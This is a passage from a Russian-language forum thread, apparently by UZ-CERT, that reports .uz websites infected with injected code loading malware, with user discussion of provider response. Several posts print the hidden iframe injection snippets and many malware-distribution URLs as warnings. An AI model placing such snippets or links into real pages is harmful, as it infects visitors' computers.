PDA

Просмотр полной версии : Лента: УГРОЗЫ НА САЙТАХ .UZ


Страницы : [1] 2 3 4

Eldar Ishimbaev
19.09.2007, 15:08
Уважаемые пользователи!

В связи с участившимися случаями внедрения вредоносного кода на веб-сайты доменной зоны .UZ решено открыть данный тред, в котором мы будем публиковать названия зараженных сайтов, которые могут предоставлять угрозу и инфицировать пользовательские рабочие станции вирусами и троянами.

По устранению угрозы на сайте мы будем давать анонс о безопасности ресурса.

Если вы самостоятельно обнаружите какой-либо инфицированный сайт, то просим вас сообщить нам об этом по этой ссылке (http://cert.uz/addons/feed_back.php).

Dmitry Paleev
19.09.2007, 15:29
На веб-сайте hттp://www.me.uz были обнаружены сразу две ссылки, загружающие вредоносное ПО на компьютер пользователя.

Первая вредоносная ссылка:

<html><iframe src=http://oya.ru/vyhod/numizmat/ima/ frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe></html>

Вторая вредоносная ссылка:

<iframe src="http://zlo-x.net/XDS/iframe.php" width=0 height=0 border=0></iframe>

Просим с осторожностью заходить на указанный веб-сайт до решения проблемы и заблокировать вредоносные ссылки в своих межсетевых экранах.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 14:33
На веб-сайте hттp://www.arksugurta.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->
После расшифровки кода (а зашифрован он аж 4 раза) получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 14:42
На веб-сайте hттp://www.elgroup.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в 7 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 14:46
На веб-сайте hттp://www.innovation.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в 2 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 14:50
На веб-сайте hттp://www.iptv.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в одном месте файла index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 15:38
На веб-сайте hттp://roller.sarkor.uz были обнаружены 2 вредоносные ссылки.

Первая ссылка:

<iframe src="http://lilohost.hk/cgi/index.php" width="0" height="0"></iframe>

Вторая ссылка:

<iframe name=857699b070 src='http://alltraff.ru/lol.php?1003893b72477f' width=761 height=186 style='display: none'></iframe>

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.09.2007, 15:50
На веб-сайте hттp://www.versal.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в 3 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 15:55
На веб-сайте hттp://www.asus.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в 1 месте в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 15:59
На веб-сайте hттp://www.glob.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в 9 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 16:15
На веб-сайте hттp://www.baik.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 3 местах в файле index.

Вредоносная ссылка: http://www.ragil.com/bannerstand/head03.htm
Далее, идет переадресация сюда: http://ianburke.com/ex/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
20.09.2007, 17:04
На веб-сайте hттp://mingbulak.connect.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!----><script>document.write вредоносный код <!---->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.09.2007, 17:18
На веб-сайте hттp://tashkent.sarkor.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!----><script>document.write вредоносный код <!---->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.09.2007, 17:21
На веб-сайте hттp://www.alutex.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://www.kiote.info/ip/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Eldar Ishimbaev
21.09.2007, 11:48
Информация изменена. Проверьте посты заново.

По мере наших сил попытаемся информировать ежедневно.

Dmitry Paleev
21.09.2007, 14:00
На веб-сайте hттp://www.flowershop.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- start get_javascript вредоносная ссылка <!-- end get_javascript(applicationtop2header) //-->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://977398530/?2954196ea44dc2a0

А также: hттp://malasha.com и hттp://977398531/s

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
21.09.2007, 18:09
На веб-сайте hттp://www.admiral.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!----><script>document.write вредоносный код <!---->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: hттp://www.dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
21.09.2007, 18:20
На веб-сайте hттp://www.al-aziz.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <iframe src вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://coolsite.ho.com.ua/_XDS_TDS_1.2/iframe.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
21.09.2007, 18:55
На веб-сайте hттp://www.asg.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 5 местах в файле index.

Вредоносная ссылка: http://my-loads.info/ip/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 12:39
На веб-сайте hттp://www.newmax.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.alaqiq.net/quran/stata/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 12:41
На веб-сайте hттp://www.podarki.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.alaqiq.net/quran/stata/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 13:50
На веб-сайте hттp://www.realvid.uz были обнаружены 2 кода, загружающие на компьютер вредоносное ПО.

Первый код находится между тегами <!-- ~ --><iframe вредоносный код </iframe><!-- ~ -->

Второй код находится между тегами <!-- o65 --><iframe вредоносный код </iframe><!-- c65 -->

Внедрен он в 2 местах в файле index.

Первая вредоносная ссылка: http://mdfc.info
Вторая вредоносная ссылка: http://volkoeb.info/xd/go.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 14:11
На веб-сайте hттp://www.parfumgallery.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в 2 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 14:19
На веб-сайте hттp://www.noni.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 4 местах в файле index.

Вредоносная ссылка: http://www.pozhary.net/images/znaki/check.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 14:43
На веб-сайте hттp://www.minzdr.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://1com.ws/cool/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 14:48
На веб-сайте hттp://www.mikrokreditbank.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в 4 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 15:02
На веб-сайте hттp://www.kmn.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 15:08
На веб-сайте hттp://www.keetas.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 15:10
На веб-сайте hттp://www.kamini.uz был обнаружен код, загружающий на компьютер вредоносное ПО.
Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в 2 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 15:16
На веб-сайте hттp://www.irmoq.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://carsauto.org/exp.htm

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 15:21
На веб-сайте hттp://www.intek.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://0xcb.0xdf.0x9e.0x0c/t

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 15:25
На веб-сайте hттp://www.in.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://md5f1h.msk.ru/ice/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 15:32
На веб-сайте hттp://www.immunology.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 15:49
На веб-сайте hттp://www.filesearch.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://zoob.rxfly.net

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Djalolatdin Rakhimov
22.09.2007, 15:51
и какие же способы защиты? или только отслеживать посты в данной теме? да и не запомнишь всех сайтов?

Djalolatdin Rakhimov
22.09.2007, 15:53
Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку. или же рассылать провайдерам, чтобы они комплексно блокировали такие ссылки для своих клиентов, переводя ссылку на страницу с описанием проблемы, мол зараженная страница? нормальный сервис

Daniyar Atadjanov
22.09.2007, 15:54
или же рассылать провайдерам

ДЖ, провайдеров держим в копии.

Djalolatdin Rakhimov
22.09.2007, 16:37
ДЖ, провайдеров держим в копии. уверен, они ничего не делают, кроме прочтения сообщения :(

Dmitry Paleev
22.09.2007, 16:39
и какие же способы защиты? или только отслеживать посты в данной теме? да и не запомнишь всех сайтов?

Ответ:

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
22.09.2007, 16:40
уверен, они ничего не делают, кроме прочтения сообщения

Было бы хорошо блокировать ещё до провайдеров.

Dmitry Paleev
22.09.2007, 16:42
уверен, они ничего не делают, кроме прочтения сообщения :(

Ошибаетесь. Если начать читать данную ветку с самого начала, то можно увидеть в некоторых сообщениях следующий текст:

update: Сайт излечен. Вредоносный код убран.

Это говорит о том, что владельцы сайтов и хостеры после получения уведомления о зараженном сайте предпринимают действия по его излечению.

Dmitry Paleev
22.09.2007, 16:44
На веб-сайте hттp://www.elt.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!---->вредоносный код<!---->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Djalolatdin Rakhimov
22.09.2007, 16:48
Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку. Я читал это, и не стоит повторять. Именно поэтому и задал вопрос, так как предложенное - не может быть эффективным способом массовой защиты. Да им дело нет до этого, как правило, так как страдает не их клиент на хостинге, а страдают клиенты провайдеров.

Djalolatdin Rakhimov
22.09.2007, 16:48
Было бы хорошо блокировать ещё до провайдеров.

Каким образом? На хостерах? Но хостеров много, большая часть зарубежом - не прислушаются.

Djalolatdin Rakhimov
22.09.2007, 16:50
Ошибаетесь. Если начать читать данную ветку с самого начала, то можно увидеть в некоторых сообщениях следующий текст:

update: Сайт излечен. Вредоносный код убран.

Это говорит о том, что владельцы сайтов и хостеры после получения уведомления о зараженном сайте предпринимают действия по его излечению.

хочется надеяться, что это не единичные случаи. Хотелось бы видеть текущий список активных (зараженных) сайтов. Если исправили, сайт из него исключать

Djalolatdin Rakhimov
22.09.2007, 16:52
Ошибаетесь. Если начать читать данную ветку с самого начала, то можно увидеть в некоторых сообщениях следующий текст:

update: Сайт излечен. Вредоносный код убран.

Это говорит о том, что владельцы сайтов и хостеры после получения уведомления о зараженном сайте предпринимают действия по его излечению.

Вот вам еще предложение: если на сайте найдено заражение то дать доп. инфо (уведмоление):

1. при получении инфо сайта через whois на cctld.uz, так как там есть кликабельная ссылка на сайт
2. в каталоге www.uz, чтобы при переходе на этот сайт, пользователь был в курсе

Eldar Ishimbaev
22.09.2007, 17:01
Каким образом? На хостерах? Но хостеров много, большая часть зарубежом - не прислушаются.

Где-нибудь на УТ блокировать ссылку на вредоносный сайт.

Dmitry Paleev
22.09.2007, 17:04
Я читал это, и не стоит повторять. Именно поэтому и задал вопрос, так как предложенное - не может быть эффективным способом массовой защиты. Да им дело нет до этого, как правило, так как страдает не их клиент на хостинге, а страдают клиенты провайдеров.

ДЖ, на данном этапе мы можем только информировать владельцев сайтов, на котоых мы обнаружили вредоносный код, а также хостеров, на которых эти сайты размещены. Да, действительно, заставить закрывать сайты хостеров мы не можем. Да и массовую защиту предложить пока также не имеем возможности. Это личное дело каждого, как реагировать на эту проблему и на ту информацию, которую мы предоставляем. Централизованного рубильника у нас тоже нет. Открытием данной ветки на форуме мы хотим дать понять пользователям зашедшим сюда (в том числе и представителям госорганов, интернет и хостинг провайдеров) что проблема внедрения вредоносного кода на веб-сайты актуальна не только в мире, но уже и в Узбекистане. Также, на предстоящем круглом столе с провайдерами этот вопрос будет поднят на обсуждение. Плюс ко всему Службой UZ-CERT готовится к запуску программа UZ-CERTified, которая направлена непосредственно на защиту веб-сайтов в домене UZ. Анонсирование данной программы произойдет на ИКТ Саммите 2007.

Dmitry Paleev
22.09.2007, 17:12
Хотелось бы видеть текущий список активных (зараженных) сайтов. Если исправили, сайт из него исключать

Такой список будет в скором времени доступен на веб-сайте (http://www.cert.uz) Службы UZ-CERT.

Djalolatdin Rakhimov
22.09.2007, 17:28
ДЖ, на данном этапе мы можем только информировать владельцев сайтов, на котоых мы обнаружили вредоносный код, а также хостеров, на которых эти сайты размещены. Да, действительно, заставить закрывать сайты хостеров мы не можем. Да и массовую защиту предложить пока также не имеем возможности. Это личное дело каждого, как реагировать на эту проблему и на ту информацию, которую мы предоставляем. Централизованного рубильника у нас тоже нет. Открытием данной ветки на форуме мы хотим дать понять пользователям зашедшим сюда (в том числе и представителям госорганов, интернет и хостинг провайдеров) что проблема внедрения вредоносного кода на веб-сайты актуальна не только в мире, но уже и в Узбекистане. Также, на предстоящем круглом столе с провайдерами этот вопрос будет поднят на обсуждение. Плюс ко всему Службой UZ-CERT готовится к запуску программа UZ-CERTified, которая направлена непосредственно на защиту веб-сайтов в домене UZ. Анонсирование данной программы произойдет на ИКТ Саммите 2007.

Одним из вариантов является прописка в лицензионном соглашении провайдеров реагировать на данные сообщения в установленные сроки и принимать меры: либо блокировать ссылку, защищая своих пользователей, либо наезжать на хостера, на сайте которого найдена проблема, если данный хостер сидит на этом провайдере.

Не думаю, что это сложно.

То же самое в части борьбы со спамом. Почему не вносите предложений в УзАСИ?

Daniyar Atadjanov
22.09.2007, 18:08
Пока мы четко не отработали механизм взаимодействия с провайдерами по данному вопросу, не внесли изменений в соглашения и т. п., а вопрос стоит довольно остро, можно:

1. Давать владельцам сайтов несколько дней на устранение угроз. Не закроют - отправлять список таких ресурсов провайдеру официальным уведомлением.

2. Вести статистику по провайдерам и выводить список провайдеров с наибольшим количеством инфицированных сайтов. В этой же теме давать инфо и о том, где хостится сайт.

Если серьёзных движений не будет:

1. Выходить на УзАСИ с фактами: "отправлено столько-то официальных уведомлений, отреагировали всего столько-то. Надо принимать меры."

2. На текущий момент провайдеры не обязаны взаимодействовать с UZ-CERT, однако должны взаимодействовать с отделом ИБ в УзАСИ. Через них и можно пробивать, пока не приняты другие меры.

Dmitry Paleev
22.09.2007, 18:09
На веб-сайте hттp://www.uznature.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <frame> вредоносный код </frame>

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://teamfunnel.com/images/lol.html

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
22.09.2007, 18:12
На веб-сайте hттp://www.uniform.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в 5 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 18:32
На веб-сайте hттp://www.zk.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://1com.ws/exp/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
22.09.2007, 18:34
На веб-сайте hттp://www.zarduz.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

После расшифровки кода получаем следующую ссылку: http://swert.info/exp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Djalolatdin Rakhimov
22.09.2007, 22:44
На веб-сайте hттp://www.uznature.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

да-а, давняя проблема с этим сайтом, так и не хотят приводить его в порядок. Гос-сайт!

Dmitry Paleev
24.09.2007, 14:32
На веб-сайте hттp://www.artvision.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://globalter.com/tds/iframe.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
24.09.2007, 14:44
На веб-сайте hттp://www.bbd.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в 6 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
24.09.2007, 14:47
На веб-сайте hттp://www.bm.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://81.95.149.77/traff.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
24.09.2007, 14:51
На веб-сайте hттp://www.bolalarsporti.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!----> вредоносный код <!---->

Внедрен он в 2 местах в файле index.

После расшифровки кода получаем следующую ссылку: hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
24.09.2007, 14:54
На веб-сайте hттp://www.cas.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.joebaele.be/sp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
24.09.2007, 15:03
На веб-сайте hттp://www.chelsea.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в 4 местах в файле index.

Вредоносная ссылка: http://0xcbdf9f69/counter.php (ip: 203.223.159.105)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
26.09.2007, 14:06
На веб-сайте hттp://www.fiml.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <iframe> вредоносный код </iframe>, <!-- + --> вредоносный код <!-- + -->

Внедрены они в 3 местах в файле index.

Вредоносные ссылки: http://sintiz.com.ua/my/image/index.php и hттp://dodo32.org/505/Xp/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
26.09.2007, 16:11
На веб-сайте hттp://www.dogs.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://1com.ws/cool/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
26.09.2007, 16:32
На веб-сайте hттp://www.emex.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="JavaScript"> вредоносный код </script>

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://dendi.hydramni.com/ipck/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
26.09.2007, 16:35
На веб-сайте hттp://www.era.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="JavaScript"> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://dendi.hydramni.com/ipck/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

update: Сайт излечен. Вредоносный код убран.

Dmitry Paleev
26.09.2007, 17:18
На веб-сайте hттp://www.gamma-elektro.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в 2 местах в файле index.

Вредоносная ссылка: http://216.255.185.13/stata/index.php

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
26.09.2007, 17:50
На веб-сайте hттp://www.intereng.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script language="JavaScript"> вредоносный код </script>

Внедрен он в 8 местах в файле index.

Вредоносная ссылка: http://artsutra.biz/

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
29.09.2007, 17:07
Список веб-сайтов, содержащих угрозы по сегодняшний день выглядит так:

admiral.uz
roller.sarkor.uz
baik.uz
mingbulak.connect.uz
tashkent.sarkor.uz
asg.uz
realvid.uz
minzdr.uz
mikrokreditbank.uz
kmn.uz
keetas.uz
kamini.uz
intek.uz
in.uz
elt.uz
uniform.uz
zk.uz
zarduz.uz
artvision.uz
bbd.uz
bm.uz
cas.uz
chelsea.uz
fiml.uz
emex.uz
era.uz
gamma-elektro.uz
intereng.uz

Ещё раз убедительно просим владельцев сайтов удалить вредоносные участки кода со своих страниц.

Eldar Ishimbaev
29.09.2007, 17:09
Информеры по угрозам, уязвимостям и вирусам доступны на сайте UZ-CERT (http://www.cert.uz)

Dmitry Paleev
02.10.2007, 11:29
На веб-сайте hттp://www.autoleasing.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

